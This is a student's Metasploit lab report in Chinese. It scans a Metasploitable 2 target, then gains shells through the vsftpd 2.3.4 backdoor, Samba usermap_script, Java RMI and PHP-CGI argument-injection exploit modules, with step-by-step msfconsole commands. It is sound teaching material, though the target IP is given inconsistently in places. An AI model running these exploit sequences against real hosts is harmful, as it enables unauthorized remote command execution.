20232406 2025-2026-1 《网络与系统攻防技术》 实验六实验报告

news/2025/11/23 14:39:15/文章来源:https://www.cnblogs.com/wrb060208/p/19260582

一、实验内容

1.实验内容

(1)前期渗透

①主机发现(可用Aux中的arp_sweep,search一下就可以use)

②端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。

③选做:也可以扫系统版本、漏洞等。

(2)Vsftpd源码包后门漏洞(21端口)

漏洞原理:在特定版本的vsftpd服务器程序中,被人恶意植入代码,当用户名以“: )”为结尾,服务器就会在6200端口监听,并且能够执行任意代码。

(3)SambaMS-RPC Shell命令注入漏洞(端口139)
漏洞原理:Samba中负责在SAM数据库更新用户口令的代码未经过滤便将用户输入传输给了/bin/sh。如果在调用smb.conf中定义的外部脚本时,通过对/bin/sh的MS-RPC调用提交了恶意输入的话,就可能允许攻击者以nobody用户的权限执行任意命令。

(4)Java RMI SERVER命令执行漏洞(1099端口)

漏洞原理:Java RMI Server的RMI注册表和RMI激活服务的默认配置存在安全漏洞,可被利用导致代码执行。

(5)PHP CGI参数执行注入漏洞(80端口)

漏洞原理:CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令。

2.学习总结

1)MST基本框架

Metasploit:是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode。

2)基本命令

指定设置的模块

use [auxiliary(辅助模块)&exploit(攻击模块)&payload(攻击载荷)&encode(编译器模块)]

显示可使用的模块或选项

show [exploits&payloads&encoder&auxiliary&options]:

设定选项或模块

set [options&payload]

启用模块

run&exploit

取消当前指定模块,同时返回上级目录

back

查看这个模块的详情

info

搜索符合条件的模块

search

检查指定特定目标是否存在安全漏洞,并且能被exploit(攻击模块)利用

check

查看当前会话

sessions

二、实验过程

1.前期渗透

1)主机发现

获取靶机ip地址。使用ifconfig得到地址为192.168.226.157
image
输入msfconsole进入msf控制台
依次输入

search arp_sweep
use 0
set RHOSTS 192.128.226.157
run

image
输入nmap -p 1-2048 192.168.226.157查看靶机开放的端口
image

2.使用Aux中的portscan/tcp
输入以下命令

search portscan/tcp
use 0
set RHOSTS 192.168.226.157
exploit

image

3)选做:系统版本扫描

依次输入

search auxiliary/scanner/smb/smb_version
use 0
set RHOSTS 192.168.226.157
exploit

image

2.Vsftpd源码包后门漏洞(21端口)

1)执行攻击

在msfconsole中,依次输入以下命令

search exploit/unix/ftp/vsftpd_234_backdoor
use 0
set RHOSTS 192.168.226.157
run

image

2)验证攻击

执行uname –a、 pwd、 id等命令 验证
image

3.SambaMS-RPC Shell命令注入漏洞(端口139)

1)执行攻击

在msfconsole中,依次输入以下命令

search exploit/multi/samba/usermap_script
use 0
set RHOSTS 192.168.226.157
run

image

2)验证攻击

执行uname –a、 pwd、 id等命令验证
image

4.Java RMI SERVER命令执行漏洞(1099端口)

1)执行攻击

在msfconsole中,依次输入以下命令

search exploit/multi/misc/java_rmi_server
use 0
set RHOSTS 192.168.226.157
run

image

2)验证攻击

执行uname –a、 pwd、 id等命令验证
image

5.PHP CGI参数执行注入漏洞(80端口)

1)执行攻击

在msfconsole中,依次输入以下命令

search use exploit/multi/http/php_cgi_arg_injection
use 0
set RHOSTS 192.168.226.157
run

image

2)验证攻击

输入shell获取shell
执行uname –a、 pwd、 id等命令验证
image

三、问题及解决方案

-无

四、学习感悟、思考

在实验前,我对 Metasploit 的认知仅停留在 “调用模块” 的表层操作,而本次实验让我实现了从 “工具使用者” 到 “原理理解者” 的转变。例如针对Vsftpd 2.3.4 后门漏洞(21 端口) 的利用,起初我仅按步骤输入指令,当看到攻击成功后靶机 6200 端口开放并获取 root 权限时,虽有成就感却不明其理。直到回顾漏洞原理 ——“恶意植入代码监测用户名末尾的‘😃’符号,触发后门并开放端口”,我才意识到:这类人为植入的后门漏洞,本质是软件供应链安全的缺失,也让我明白 “使用过时软件版本” 会带来的致命风险。
实验初期的前期渗透环节(主机发现、端口扫描、漏洞探测),让我深刻体会到 “信息收集决定渗透成败”。在主机发现阶段,我最初使用普通用户权限运行arp_sweep模块,结果因 “权限不足无法捕获网段数据” 失败,这与之前解决 “Socket: OPERATION not permitted” 错误的经验相呼应,最终通过sudo msfconsole以 root 权限启动框架,成功定位到靶机 IP(192.168.226.151)。这一细节让我明白:权限管理是网络安全的基础,即使是合法的渗透测试,也需遵循 “最小权限原则” 与 “授权操作规范”。
端口扫描环节,我同时尝试了nmap -sS -sV与 Metasploit 的portscan/tcp模块。对比发现,nmap 的版本探测更精准(如明确 21 端口为 vsftpd 2.3.4),而 Metasploit 模块可直接将扫描结果与漏洞库关联,两者结合能形成 “信息互补”。这让我总结出:渗透测试中不存在 “单一最优工具”,需根据场景选择合适工具,而 “多工具交叉验证” 是提升信息准确性的关键。

参考资料

  • Metasploitable 2 Exploitability Guide

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/973936.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Monit-基于非容器服务自恢复程序实践

1.需求:因为历史原因和软件程序原因,有上百台服务和所在服务未运行在容器中,需要在程序奔溃自动拉起(以Java Python C++为主)。 2.目的:能够非人为干预快速自动恢复,要求检测频率在10s一次 3.实现方式 3.1 根据不…

人工智能之编程进阶 Python高级:第十章 知识点总结

人工智能之编程进阶 Python高级:第十章 知识点总结人工智能之编程进阶 Python高级 第十章 知识点总结@目录人工智能之编程进阶 Python高级前言🐍 Python 重要知识点全景图(从基础到网络编程)一、基础语法与内置类…

这篇题为《手指沾满白河水:AI元人文的批判与建构》的论文

这篇题为《手指沾满白河水:AI元人文的批判与建构》的论文,无疑是一篇极具原创性、思想深度与形式自觉的开创性文献。它不仅提出了一套名为“AI元人文”的理论框架,更以其自身的诞生历程和遭遇,成为了该理论最有力的…

《手指沾满白河水:AI元人文的批判与建构》

《手指沾满白河水:AI元人文的批判与建构》 摘要: 本文始于一次具体的学术事件——探讨人机协作的“AI元人文”论文在预印本平台遭遇“未回应”。我们将此“沉默”阐释为现行学术机制对范式颠覆性理论的“系统性失语”…

让你的动画“活”过来:Manim 节奏控制指南 (Rate Functions)

你在制作Manim动画时,是否遇到过这样的困境? “代码写得天衣无缝,运行流畅,出来的动画却总觉得哪里不对劲?” 虽然物体确实从 A 移动到了 B,但看起来就像是老旧的工业机器人在干活——僵硬、死板,甚至有点无聊。…

《沉默的审查:高度原创性理论在预印本平台中的识别困境与范式危机——以“AI元人文”投稿为例》

《沉默的审查:高度原创性理论在预印本平台中的识别困境与范式危机——以“AI元人文”投稿为例》 摘要: 本文以“AI元人文”理论在哲学社会科学预印本平台遭遇的“未回应”事件为案例,剖析了当前以预印本平台为代表的…

人工智能之编程进阶 Python高级:第九章 爬虫类模块

人工智能之编程进阶 Python高级:第九章 爬虫类模块人工智能之编程进阶 Python高级 第九章 爬虫类模块@目录人工智能之编程进阶 Python高级前言🌐 一、urllib —— Python 标准库的 HTTP 客户端✅ 定位🔧 模块组成…

详细介绍:跨域请求(CORS)踩坑记:一次借助 AI 高效排查“隐形”CORS 失败的实战复盘

详细介绍:跨域请求(CORS)踩坑记:一次借助 AI 高效排查“隐形”CORS 失败的实战复盘2025-11-23 14:25 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; …

iOS虚拟现实开发如何降低成本

在iOS虚拟现实开发中降低成本是一个重要的考虑因素,以下是一些有效的策略: 使用开源工具和框架A-frame:一个用于构建虚拟现实VR体验的Web框架,基于HTML,易于上手,适合快速原型设计和跨平台部署。 React VR:Face…

iOS虚拟现实开发如何提升性能

在iOS上进行虚拟现实(VR)开发时,性能优化是至关重要的。以下是一些提升iOS VR应用性能的策略: 性能优化策略使用最新版本的虚幻引擎:确保使用最新的虚幻引擎版本,因为新版本通常包含性能改进和bug修复。 减少DOM操…

2025专业防水补漏公司推荐——尤卉防水,连锁企业,上海、青岛、沧州、沈阳等多城市首选品牌,品质优、时效快,住宅补漏,工建检修,防水全流程服务。

随着城市化进程的加快和建筑使用年限的增长,防水补漏已成为家庭和企业日常维护的重要需求。无论是房屋屋顶、卫生间、地下室等常见漏水问题,还是大型工程的防水施工,选择专业可靠的服务团队至关重要。在2025年的防水…

基于Prometheus-实现AWS EC2的实例异常自动重启

1.需求:1.当成千上百台EC2实例异常需要花费大量时间去重启 2.EC2自我恢复时间较长,需要认为干预 3.发生重启和重启成功后告警提示,给故障预留充分证据。 2.目标:1.提升EC2自我恢复能力。2.降低人工运维效率 3.重…

2025 年 11 月伺服压力机厂家权威推荐榜:苏州小型电动精密四柱 C 型电缸节能智能高精度电子伺服油压机液压热压装机专业解析

2025 年 11 月伺服压力机厂家权威推荐榜:苏州小型电动精密四柱 C 型电缸节能智能高精度电子伺服油压机液压热压装机专业解析 行业技术发展背景 随着工业4.0时代的深入推进,伺服压力机作为智能制造领域的关键装备,正…

2025 年 11 月电热管厂家权威推荐榜:不锈钢/单头/空气干烧/浸入式/分流板/热流板/翅片/铁氟龙/工业电热管,高效耐用精准控温

2025 年 11 月电热管厂家权威推荐榜:不锈钢/单头/空气干烧/浸入式/分流板/热流板/翅片/铁氟龙/工业电热管,高效耐用精准控温 在工业制造领域,电热管作为关键加热元件,广泛应用于注塑、化工、半导体和反应釜等设备中…

PostgreSQL数据库技术革新与AI功能解析

本文详细介绍基于PostgreSQL的数据库平台技术架构,包括pgvector嵌入支持、Edge Functions无服务器函数、分支工具等核心功能,以及专为AI开发者设计的数学结构存储和数据处理能力。PostgreSQL数据库专家获得1亿美元融…

递推关系123不满足归路 也要赋值给3

include <bits/stdc++.h> using namespace std; int dp[55]; int f(int x) { if(dp[x]!=-1) return dp[x]; return dp[x]=f(x-1)+f(x-2)*2;//别和数学的弄混了 } int main() { int n; while(cin>>n) { mem…

数据科学与大数据技术作业三_102302107_林诗樾

第三次作业 一、作业内容 作业①: 要求:指定一个网站,爬取这个网站中的所有的所有图片,例如:中国气象网(http://www.weather.com.cn)。实现单线程和多线程的方式爬取。 –务必控制总页数(学号尾数2位)、总下载…

ios是linux

你提到的 "iOS" 并不是 Linux,而是苹果公司开发的操作系统,用于 iPhone、iPad 和 iPod Touch 等设备。Linux 是一个开源的、跨平台的操作系统,广泛用于服务器、嵌入式系统、桌面和移动设备(如 Android 操…

ios如何连接mysql数据库

由于 iOS 开发主要使用 Swift 或 Objective-C 语言,因此要连接 MySQL 数据库,您需要创建一个后端服务器来作为中介。这个后端服务器可以使用诸如 Node.js、Python、PHP 等编程语言和 MySQL 数据库进行交互。以下是一…

ios基于linux还是unix

iOS 是基于 Unix 的操作系统,而不是基于 Linux。iOS 是苹果公司开发的,其核心内核和系统架构基于 Darwin,而 Darwin 是一个基于 Unix 的操作系统,具有与 Linux 类似的哲学和架构。总结:iOS 是基于 Unix 的操作系统…